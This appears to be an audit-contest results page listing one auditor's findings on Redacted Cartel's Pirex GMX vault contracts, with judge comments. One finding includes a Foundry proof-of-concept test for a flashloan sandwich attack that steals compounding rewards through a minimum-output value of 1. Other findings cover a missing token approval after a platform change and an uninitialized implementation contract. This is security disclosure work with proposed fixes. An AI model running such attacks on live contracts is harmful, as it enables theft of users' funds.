Redacted Cartel contest - hihen's results

Boosted GMX assets from your favorite liquid token wrapper, Pirex - brought to you by Redacted Cartel.

General Information

Platform: Code4rena

Start Date: 21/11/2022

Pot Size: $90,500 USDC

Total HM: 18

Participants: 101

Period: 7 days

Judge: Picodes

Total Solo HM: 4

Id: 183

League: ETH

Redacted Cartel

Findings Distribution

Researcher Performance

Rank: 37/101

Findings: 3

Award: $141.37

QA:
grade-b

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

15.9293 USDC - $15.93

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
duplicate-137

External Links

Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGmx.sol#L268-L277

Vulnerability details

Impact

Attackers can steal most of rewards (gmxBaseReward, weth) by launching a sandwich attack with flashloan.

Proof of Concept

The AutoPxGmx compounds pxGMX rewards into more pxGMX by swapping WETH rewards into GMX via Uniswap V3 and depositing it into PirexGmx to acquire pxGMX.

The swapping in compound() is called with amountOutMinimum = 1, which leads to the attacker to steal WETH through a sandwich attack:

  1. Flashloan and swap WETH for GMX via the Uniswap V3 pool (WETH-GMX)
  2. Trigger AotoPxGmx.compound() by calling compound() (or by calling depositGmx()/deposit()/withdraw()/redeem(), which need some extra preparation).
  3. Swap GMX back for WETH and pay back the flashloan.

Sample attack by test code:

  • Test code:
diff --git a/test/AutoPxGmx.t.sol b/test/AutoPxGmx.t.sol index cc85e07..618903b 100644 --- a/test/AutoPxGmx.t.sol +++ b/test/AutoPxGmx.t.sol @@ -5,6 +5,7 @@ import "forge-std/Test.sol"; import {AutoPxGmx} from "src/vaults/AutoPxGmx.sol"; import {PirexGmx} from "src/PirexGmx.sol"; +import {IV3SwapRouter} from "src/interfaces/IV3SwapRouter.sol"; import {Helper} from "./Helper.sol"; contract AutoPxGmxTest is Helper { @@ -333,6 +334,74 @@ contract AutoPxGmxTest is Helper { compound TESTS //////////////////////////////////////////////////////////////*/ + function testCompoundGmxAttack() external { + uint256 gmxAmount = 1000000e18; + uint256 secondsElapsed = 1 days; + + address[] memory receivers = new address[](1); + receivers[0] = address(this); + (uint256 wethRewardState, , ) = _provisionRewardState( + gmxAmount, + receivers, + secondsElapsed + ); + assertGt(wethRewardState, 0); + + IV3SwapRouter SWAP_ROUTER = IV3SwapRouter( + 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45 + ); + + // random hacker + address hacker = 0x0000000984794237890345789234580000000000; + _mintWrappedToken(1234 ether, hacker); + uint256 hackerFundBase = weth.balanceOf(hacker); + + // Hacker swap WETH for GMX to make the price of GMX rises + vm.startPrank(hacker); + weth.approve(address(SWAP_ROUTER), hackerFundBase); + uint256 gmxToSel = SWAP_ROUTER.exactInputSingle( + IV3SwapRouter.ExactInputSingleParams({ + tokenIn: address(weth), + tokenOut: address(gmx), + fee: 3000, + recipient: hacker, + amountIn: hackerFundBase, + amountOutMinimum: 1, + sqrtPriceLimitX96: 0 + }) + ); + vm.stopPrank(); + + vm.expectEmit(true, false, false, false, address(autoPxGmx)); + emit Compounded(testAccounts[0], 3000, 1, 0, 0, 0, 0, 0, 0); + + // Call as testAccounts[0] to test compound incentive transfer + vm.prank(testAccounts[0]); + (uint256 wethAmountIn, , , , ) = autoPxGmx.compound(3000, 1, 0, false); + assertEq(wethRewardState, wethAmountIn); + + // Hacker swap GMX back for WETH to get the benefit + vm.startPrank(hacker); + gmx.approve(address(SWAP_ROUTER), gmxToSel); + uint256 retETH = SWAP_ROUTER.exactInputSingle( + IV3SwapRouter.ExactInputSingleParams({ + tokenIn: address(gmx), + tokenOut: address(weth), + fee: 3000, + recipient: hacker, + amountIn: gmxToSel, + amountOutMinimum: 1, + sqrtPriceLimitX96: 0 + }) + ); + vm.stopPrank(); + + // Check the income of this attack + uint256 hackerFundAfterHack = weth.balanceOf(hacker); + assertTrue(hackerFundAfterHack > hackerFundBase); + assertTrue(retETH > hackerFundBase); + } + /** @notice Test tx reversion: fee is invalid param */
  • Output:
Running 1 test for test/AutoPxGmx.t.sol:AutoPxGmxTest [PASS] testCompoundGmxAttack() (gas: 4717613) Test result: ok. 1 passed; 0 failed; finished in 34.10ms
  • In an actual attack, all operations (swap -> compound/depositGmx/deposit/withdraw/redeem -> swap) should be put into a flashloan transaction.

Tools Used

VS Code

The contract should calculate the amountOutMinimum in compound() based on uniswap TWAP.

If the owner could be trusted, you can add another function (compoundByOwner(...) onlyOwner) which allows the owner to compound with arbitrary amountOutMinimum.

#0 - c4-judge

2022-12-03T20:56:21Z

Picodes marked the issue as duplicate of #183

#1 - c4-judge

2022-12-30T20:53:41Z

Picodes marked the issue as duplicate of #185

#2 - c4-judge

2023-01-01T11:09:15Z

Picodes marked the issue as satisfactory

#3 - c4-judge

2023-01-01T11:37:08Z

Picodes changed the severity to 2 (Med Risk)

#4 - C4-Staff

2023-01-10T22:10:33Z

JeeberC4 marked the issue as duplicate of #137

Findings Information

🌟 Selected for report: xiaoming90

Also found by: 0x52, 8olidity, aphak5010, bin2chen, cccz, hansfriese, hihen, joestakey, ladboy233, rvierdiiev, unforgiven

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
duplicate-182

Awards

71.9536 USDC - $71.95

External Links

Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGmx.sol#L152-L158 https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGlp.sol#L130-L136

Vulnerability details

Impact

Both of AutoPxGmx and AutoPxGlp will not work if platform is changed by setPlatform().

That is, all calls of compound(), withdraw(), redeem(), depositXXX() will always revert.

If the platform(AutoPxGmx) is migrated, you will have to migrate back to the old contract, or all funds in AutoPxGmx and AutoPxGlp will be locked.

Proof of Concept

AutoPxGmx appoves the platform with the max amount of GMX in its constructor:

gmx.safeApprove(_platform, type(uint256).max);

Because of that approval, the contract don't approve again when calling PirexGmx(platform).depositGmx(...) in compound() and depositGmx().

The platform saved in AutoPxGmx can be changed by setPlatform(), which will be used when PirexGmx is migrated to a new contract:

function setPlatform(address _platform) external onlyOwner { if (_platform == address(0)) revert ZeroAddress(); platform = _platform; emit PlatformUpdated(_platform); }

The problem is, the new platform is never approved by the contract, so the PirexGmx(platform).depositGmx(...) in compound() and depositGmx() will revert for no allowance. And because compound() is called by withdraw() and redeem(), they will revert too.

As a result, all user assets in AutoPxGmx will completely be locked. The only chance to unlock it is to reset the platform address and hope the old platform(PirexGmx) still work effectively or can be rolled back correctly.

Of course, if the platform is not set to a correct address at deployment(constructor parameter), the deployed AutoPxGmx contract have to be discarded and re-deploy a new one.

AutoPxGlp has the same vulnerability as AutoPxGmx.

Tools Used

VS Code

In setPlatform()s, set new platform approval amount to type(uint256).max, and reset old platform approval amount to 0.

#0 - c4-judge

2022-12-04T13:15:51Z

Picodes marked the issue as duplicate of #182

#1 - c4-judge

2023-01-01T11:10:13Z

Picodes marked the issue as satisfactory

#2 - c4-judge

2023-01-01T11:29:46Z

Picodes changed the severity to 3 (High Risk)

#3 - c4-judge

2023-01-01T11:32:51Z

Picodes changed the severity to 2 (Med Risk)

01. PirexRewards need a constructor to init owner and disable Initializers

PirexRewards is OwnableUpgradeable and Initializable, but the implementation contract is not initialized in constructor. Anyone can who calling initialize() first will become the owner.

It should have a proper constructor as its mentioned in Initializable.sol:

Avoid leaving a contract uninitialized.

An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:

Should add a constructor to PirexRewards.sol:

constructor() { _disableInitializers(); }

02. Missing afterDeposit() in AutoPxGmx.depositGmx()

AutoPxGmx.depositGmx() should call afterDeposit(receiver, assets, shares); just like deposit() and mint() in the base contract - PirexERC4626.

Although afterTransfer() is an empty function now, it is logically correct to maintain this consistency and reduce the probability of bug in future contract updates.

03. Missing beforeWithdraw() and afterWithdraw() in withdraw() and redeem() of AutoPxGmx

AutoPxGmx should call beforeWithdraw() and afterWithdraw() in withdraw() and redeem(). Although beforeWithdraw() and afterWithdraw() are empty functions now, it is logically correct to call them.

The simplier way is call PirexERC4626.withdraw(assets, receiver, owner); and PirexERC4626.redeem(shares, receiver, owner); instead, just like AutoPxGlp.withdraw and AutoPxGlp.redeem did.

04. Missing whenPaused in setContract()

The PirexGmx.sol#setContract() is a function that makes major changes to the contract like PirexGmx.sol#configureGmxState().

To be safe, setContract() should have the modifier whenPaused as configureGmxState() for

05. PirexGmx.sol#claimUserReward() should revert if token is unknown

In PirexGmx.sol#claimUserReward(), the call will pass and event ClaimUserReward is emitted, even if the token is unknown.

Should add an else branch at PirexGmx.sol#L848 to revert when the token is unknown.

#0 - c4-judge

2022-12-05T09:31:01Z

Picodes marked the issue as grade-b

#1 - Picodes

2022-12-05T09:31:16Z

04 - Invalid: owner can unpause anyway

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter